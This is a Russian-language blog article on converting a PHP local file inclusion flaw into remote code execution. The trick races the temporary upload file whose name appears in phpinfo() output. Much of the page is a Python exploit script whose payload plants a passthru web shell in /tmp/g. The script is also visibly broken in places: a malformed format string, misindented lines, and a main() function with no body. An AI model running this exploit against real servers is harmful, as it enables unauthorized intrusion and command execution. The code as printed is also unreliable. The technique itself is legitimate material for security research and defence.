Local File Including с помощью phpinfo()

Ввведение
При проведении анализа уязвимостей php-приложений все еще остается весьма распространенной уязвимость типа LFI (Local File Incuding).
В зависимости от конфигурации сервера очень часто существуют возможности выполнить код на целевой удаленной системе с помощью известных и распространенных техник и методов, таких как:








  •          /proc/self/environ
  •          /proc/self/fd/...
  •          /var/log/...
  •          /var/lib/php/session/ (PHP Sessions)
  •          /tmp/ (PHP Sessions)
  •          php://input wrapper
  •          php://filter wrapper
  •          data: wrapper

Исследование описанное в этой статье является дополнением к опубликованной работе под названием “PHP LFI to arbitratry code execution via rfc1867 file upload temporary files”   (автор Gynvael Coldwind)


В вышеуказанной статье автором была опубликована информация касательно особенностей работы загрузки на сервер php-файла. В частности автор статьи отмечает, что если в конфигурационном файле PHP (php.ini) установлено значение file_uploads = on, то PHP будет принимать к загрузке на сервер любой файл. Также он отметил что загружаемый файл будет храниться во временной директории, до того момента пока запрашиваемая PHP-страница не будет полностью до конца обработана.Об этом также говорится в официальной докуметации по PHP.
 
Загруженный во временную директорию файл будет удален оттуда только по завершению запроса, конечно если он не был перенесен в другое место или переименован.
В статье Gynvael Coldwind  также описал метод использования данной возможности на операционной системе MS Windows c помощью так называемого "FindFirstFile quirk" (ошибка в функции WinAPI под названием FindFirstFile).
Также данная возможность была задокументирована в статье под названием "Oddities of PHP file access in Windows®. Cheat-sheet, 2011 (Vladimir Vorontsov, Arthur Gerkis) "


Следующая статья , хоть и не связана с исследованием LFI-уязвимости, тем не менее представляет интерес для исследователей безопасности WEB-приложений вообще и РHP в частности. В ней описана существующая проблема обработки PHP скриптов при вызове с помощью метода HTTP HEAD.

HTTP HEAD method trick in php scripts (Adam Iwaniuk)

Следует отметить тот факт что "The  FindFirstFile quirk" не работает на движке PHP под GNU/Linux, поскольку FindFirstFile это функция WinApi.  Однако при определенных условиях загрузка на сервер PHP-файла все же возможна.
Далее в этой статье мы коснемся более делатально описания  одного из условий которое становится доступным когда имеется доступ к скрипту который выводит результаты вызова функции phpinfo(),в случае если таковая доступна на целевом сервере.

LFI с помощью phpinfo()


Для выполнения условий требуется наличие на сервере следующих компонент
-  Уязвимость типа LFI
 Необходимо наличие  уязвимости локальный php-инлкудинг для проведения атаки. Данный скрипт будет использован для включения файла загруженного через PHPInfo скрипт.
-  phpinfo() скрипт.
Любой php-cкрипт который отображает вывод функции phpinfo(). В большинстве случаев таковым является /phpinfo.php


Почему phpinfo()?
Вывод функции phpinfo() содержит значения php-переменных, включая также любые значения установленные посредством  _GET _POST или uploaded _FILES.

Следующий скриншот показывает запрос и последущий вывод результата работы функции phpinfo() с целью определения имени временно загруженного файла.


"Выигрываем гонки"

Как уже было описано вначале, временно загруженный файл существует только пока выполняется запрошенный php-скрипт и удаляется по его окончанию работы.

Действия выполняемые над временными файлами можно просмотреть командой sudo inotifywat -m -r /tmp .
Предполагается что если результат работы скрипта был отправлен клиенту в браузер, то PHP-процессор завершил работу и временно заруженный файл был удален. Однако есть неявная возможность получить частично вывод содержимого временно загруженного файла пока PHP-процессор обрабатывает запрошенный файл. Дело в том что PHP использует буфферизацию вывода данных, задача которой увеличить эффективность передачи данных, также отметим, что она влючена в РHP по умолчанию и имеет изначальное значение размера буфера 4096.
 
 см. оффициальную документацию.

В том случае, когда размер выходных данных php-скрипта больше чем установленный размер буфера вывода, часть содержимого возвращается клиенту с помощью так называемого механизма Chunked transfer encoding.(http://en.wikipedia.org/wiki/Chunked_transfer_encoding )

Для обеспечения вывода данных функции phpinfo() выше порога и увеличения времени обработки скрипта применяется дополнительная посылка дополнительных значений HTTP-заголовков большой длины.
Выполняя многократные post-запросы к PHPInfo-скрипту для загрузки файла, и тщательно контролируя считывание, становится возможным получить имя временного загруженного файла и выполнить запрос к уязвимому (LFI) скрипту c использованием полученного имени файла. Это позволяет нам "выигрывать гонку" и эффективно преобразовать LFI уязвимость в выполнение произвольного кода на целевой системе. Данная техника дважды была подтверждена против тестовых компьютеров в локальной сети, а также против удаленных машин в сети Интернет.


Исходник


#!/usr/bin/python
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script  
    LFIREQ="""GET /lfi.php?load=%s% HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
     s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break               
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                   
            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
   
    d = ""
    while True:
        i = s.recv(4096)
        d+=i       
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
   
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

По материалам Brett Moore, Network Intrusion Specialist 
INSOMNIA SECURITY
www. insomniasec.com

Comments :

0 коммент. to “Local File Including с помощью phpinfo()”

Отправить комментарий